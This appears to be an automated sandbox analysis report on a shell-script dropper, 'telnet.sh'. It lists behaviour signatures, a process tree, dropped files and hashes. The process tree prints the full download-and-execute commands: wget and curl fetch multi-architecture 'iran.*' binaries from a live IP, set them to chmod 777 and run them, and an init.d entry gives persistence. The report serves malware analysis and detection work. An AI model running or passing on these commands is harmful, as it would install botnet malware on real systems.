Analysis

  • max time kernel
    149s
  • max time network
    152s
  • platform
    ubuntu-18.04_amd64
  • resource
    ubuntu1804-amd64-20260513-en
  • resource tags

    arch:amd64arch:i386image:ubuntu1804-amd64-20260513-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
  • submitted
    07/09/2026, 17:50

General

  • Target
    telnet.sh
  • Size 1KB
  • Sample260907-werwsazyfw
  • SHA256 5180925f28c24bd637c47417c1542736aa3989e7e174d885897cdce880bcda44
  • MD5 SHA1 SHA512 TLSH

Malware Config

Signatures

  • File and Directory Permissions Modification 1 TTPs 14 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 14 IoCs
  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Modifies init.d 2 TTPs 2 IoCs

    Adds/modifies system service, likely for persistence.

  • Changes its process name 2 IoCs
  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • System Network Configuration Discovery 1 TTPs 5 IoCs

    Adversaries may gather information about the network configuration of a system.

  • Writes file to tmp directory 17 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/telnet.sh
    /tmp/telnet.sh
    1⤵
    • Executes dropped EXE
    PID:1509
    • /usr/bin/wget
      wget http://94.154.43.221/iran.x86_64 -O x86_64
      2⤵
      • Writes file to tmp directory
      PID:1510
    • /bin/chmod
      chmod 777 x86_64
      2⤵
      • File and Directory Permissions Modification
      PID:1513
    • /tmp/x86_64
      ./x86_64 telnet
      2⤵
      • Modifies init.d
      • Changes its process name
      • Reads runtime system information
      PID:1514
    • /usr/bin/wget
      wget http://94.154.43.221/iran.aarch64 -O aarch64
      2⤵
      • Writes file to tmp directory
      PID:1516
    • /bin/chmod
      chmod 777 aarch64
      2⤵
      • File and Directory Permissions Modification
      PID:1526
    • /tmp/aarch64
      ./aarch64 telnet
      2⤵
        PID:1527
      • /usr/bin/wget
        wget http://94.154.43.221/iran.m68k -O m68k
        2⤵
        • Writes file to tmp directory
        PID:1529
      • /usr/bin/curl
        curl http://94.154.43.221/iran.m68k -o m68k
        2⤵
        • Writes file to tmp directory
        PID:1530
      • /bin/chmod
        chmod 777 m68k
        2⤵
        • File and Directory Permissions Modification
        PID:1538
      • /tmp/m68k
        ./m68k telnet
        2⤵
          PID:1539
        • /usr/bin/wget
          wget http://94.154.43.221/iran.mips -O mips
          2⤵
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:1541
        • /bin/chmod
          chmod 777 mips
          2⤵
          • File and Directory Permissions Modification
          PID:1542
        • /tmp/mips
          ./mips telnet
          2⤵
          • System Network Configuration Discovery
          PID:1543
        • /usr/bin/wget
          wget http://94.154.43.221/iran.mipsel -O mipsel
          2⤵
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:1545
        • /usr/bin/curl
          curl http://94.154.43.221/iran.mipsel -o mipsel
          2⤵
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:1546
        • /bin/chmod
          chmod 777 mipsel
          2⤵
          • File and Directory Permissions Modification
          PID:1547
        • /tmp/mipsel
          ./mipsel telnet
          2⤵
          • System Network Configuration Discovery
          PID:1548
        • /usr/bin/wget
          wget http://94.154.43.221/iran.powerpc -O powerpc
          2⤵
          • Writes file to tmp directory
          PID:1550
        • /bin/chmod
          chmod 777 powerpc
          2⤵
          • File and Directory Permissions Modification
          PID:1556
        • /tmp/powerpc
          ./powerpc telnet
          2⤵
            PID:1557
          • /usr/bin/wget
            wget http://94.154.43.221/iran.sparc -O sparc
            2⤵
            • Writes file to tmp directory
            PID:1559
          • /usr/bin/curl
            curl http://94.154.43.221/iran.sparc -o sparc
            2⤵
            • Writes file to tmp directory
            PID:1562
          • /bin/chmod
            chmod 777 sparc
            2⤵
            • File and Directory Permissions Modification
            PID:1563
          • /tmp/sparc
            ./sparc telnet
            2⤵
              PID:1564
            • /usr/bin/wget
              wget http://94.154.43.221/iran.sh4 -O sh4
              2⤵
              • Writes file to tmp directory
              PID:1566
            • /bin/chmod
              chmod 777 sh4
              2⤵
              • File and Directory Permissions Modification
              PID:1569
            • /tmp/sh4
              ./sh4 telnet
              2⤵
                PID:1570
              • /usr/bin/wget
                wget http://94.154.43.221/iran.arc -O arc
                2⤵
                • Writes file to tmp directory
                PID:1572
              • /bin/chmod
                chmod 777 arc
                2⤵
                • File and Directory Permissions Modification
                PID:1578
              • /tmp/arc
                ./arc telnet
                2⤵
                  PID:1579
                • /usr/bin/wget
                  wget http://94.154.43.221/iran.i486 -O i486
                  2⤵
                  • Writes file to tmp directory
                  PID:1581
                • /bin/chmod
                  chmod 777 i486
                  2⤵
                  • File and Directory Permissions Modification
                  PID:1582
                • /tmp/i486
                  ./i486 telnet
                  2⤵
                  • Modifies init.d
                  • Changes its process name
                  • Reads runtime system information
                  PID:1583
                • /usr/bin/wget
                  wget http://94.154.43.221/iran.armv4l -O armv4l
                  2⤵
                  • Writes file to tmp directory
                  PID:1585
                • /bin/chmod
                  chmod 777 armv4l
                  2⤵
                  • File and Directory Permissions Modification
                  PID:1596
                • /tmp/armv4l
                  ./armv4l telnet
                  2⤵
                    PID:1597
                  • /usr/bin/wget
                    wget http://94.154.43.221/iran.armv5l -O armv5l
                    2⤵
                    • Writes file to tmp directory
                    PID:1599
                  • /bin/chmod
                    chmod 777 armv5l
                    2⤵
                    • File and Directory Permissions Modification
                    PID:1600
                  • /tmp/armv5l
                    ./armv5l telnet
                    2⤵
                      PID:1601
                    • /usr/bin/wget
                      wget http://94.154.43.221/iran.armv6l -O armv6l
                      2⤵
                      • Writes file to tmp directory
                      PID:1603
                    • /bin/chmod
                      chmod 777 armv6l
                      2⤵
                      • File and Directory Permissions Modification
                      PID:1604
                    • /tmp/armv6l
                      ./armv6l telnet
                      2⤵
                        PID:1605
                      • /usr/bin/wget
                        wget http://94.154.43.221/iran.armv7l -O armv7l
                        2⤵
                        • Writes file to tmp directory
                        PID:1607
                      • /bin/chmod
                        chmod 777 armv7l
                        2⤵
                        • File and Directory Permissions Modification
                        PID:1614
                      • /tmp/armv7l
                        ./armv7l telnet
                        2⤵
                          PID:1615

                      Network

                            MITRE ATT&CK Enterprise v16

                            Replay Monitor

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                            Downloads

                            xs.main

                            • Path /etc/init.d/xs.main
                            • Size 26B
                            • SHA256 1e086908fc257d9bee94b70e2bea5a170e5284ec3dd21d5c132030c5ea2f2757
                            • MD5 SHA1 SHA512

                            aarch64

                            • Path /tmp/aarch64
                            • Size 189KB
                            • SHA256 e102ee5bbf9282a4c5f5b38c5554668eefc67a9782004631d1aa837e18dfe159
                            • MD5 SHA1 SHA512 SSDEEP TLSH

                            arc

                            • Path /tmp/arc
                            • Size 153KB
                            • SHA256 b5099a274a6192b76e132488df1a051b2e6ccb68fc916901ddf73ef9d0f01fe2
                            • MD5 SHA1 SHA512 SSDEEP TLSH

                            armv4l

                            • Path /tmp/armv4l
                            • Size 153KB
                            • SHA256 f692af11faa6ec2919d9269d28c7a962ee970f6199e92ad85676255bd5f8b91c
                            • MD5 SHA1 SHA512 SSDEEP TLSH

                            armv5l

                            • Path /tmp/armv5l
                            • Size 150KB
                            • SHA256 51ac3c75c8583cffc3f61777a7af6e4b068dcf7698ab89c89a57f15fab59bf18
                            • MD5 SHA1 SHA512 SSDEEP TLSH

                            armv6l

                            • Path /tmp/armv6l
                            • Size 165KB
                            • SHA256 e29c40498d1e2b650e65855ab7051475e4aa6bc54e9b0d8352dda798c5aba339
                            • MD5 SHA1 SHA512 SSDEEP TLSH

                            armv7l

                            • Path /tmp/armv7l
                            • Size 142KB
                            • SHA256 699848a33a1808fe612ce4e2e1f1bb292546509b3939c56b6842e315ad02d731
                            • MD5 SHA1 SHA512 SSDEEP TLSH

                            i486

                            • Path /tmp/i486
                            • Size 98KB
                            • SHA256 7bc4b2aef74456cca1499e1c6e3ce28827aa3c2d6e4a1f18cad547ad47e0b8ff
                            • MD5 SHA1 SHA512 SSDEEP TLSH

                            m68k

                            • Path /tmp/m68k
                            • Size 177KB
                            • SHA256 b77142d8fa79f421c402fae649e041589c6e3584e69def5789b704af6b522535
                            • MD5 SHA1 SHA512 SSDEEP TLSH

                            mips

                            • Path /tmp/mips
                            • Size 204KB
                            • SHA256 dea6d274c1c7c34d160bd12c87a27ef5c5edb1f4934c4557bb54f1857c7be360
                            • MD5 SHA1 SHA512 SSDEEP TLSH

                            mipsel

                            • Path /tmp/mipsel
                            • Size 12KB
                            • SHA256 d30077af1f9c64891070e0afb6171834a02d430dd6d2fd8a1762c8427378fca7
                            • MD5 SHA1 SHA512 SSDEEP TLSH

                            mipsel

                            • Path /tmp/mipsel
                            • Size 206KB
                            • SHA256 abc54ab37e423461c6a67b7d65f342451e42fbd93e4ba83fd571c3236cfcfc25
                            • MD5 SHA1 SHA512 SSDEEP TLSH

                            powerpc

                            • Path /tmp/powerpc
                            • Size 155KB
                            • SHA256 7b46bce6515f1189593f7fbd7edb24ce2e152e0fbb6b57808515db882b331060
                            • MD5 SHA1 SHA512 SSDEEP TLSH

                            sh4

                            • Path /tmp/sh4
                            • Size 138KB
                            • SHA256 b610ed02b56e1634c71f36076e61e7bf69aca774e745df6c698d5d9f470d48b8
                            • MD5 SHA1 SHA512 SSDEEP TLSH

                            sparc

                            • Path /tmp/sparc
                            • Size 12KB
                            • SHA256 b5cf22d807a3620715ca894548407e86d758b087e49df9a5bdbe8264a7125b90
                            • MD5 SHA1 SHA512 SSDEEP TLSH

                            sparc

                            • Path /tmp/sparc
                            • Size 42KB
                            • SHA256 60bd242f448228391063d6a1521233087ba3602f5521f526a784d6325ffe8377
                            • MD5 SHA1 SHA512 SSDEEP TLSH

                            x86_64

                            • Path /tmp/x86_64
                            • Size 160KB
                            • SHA256 de1de068b151fa14fdf94ba39d0503f0ee10a05fe0f9146c43928a96db25e084
                            • MD5 SHA1 SHA512 SSDEEP TLSH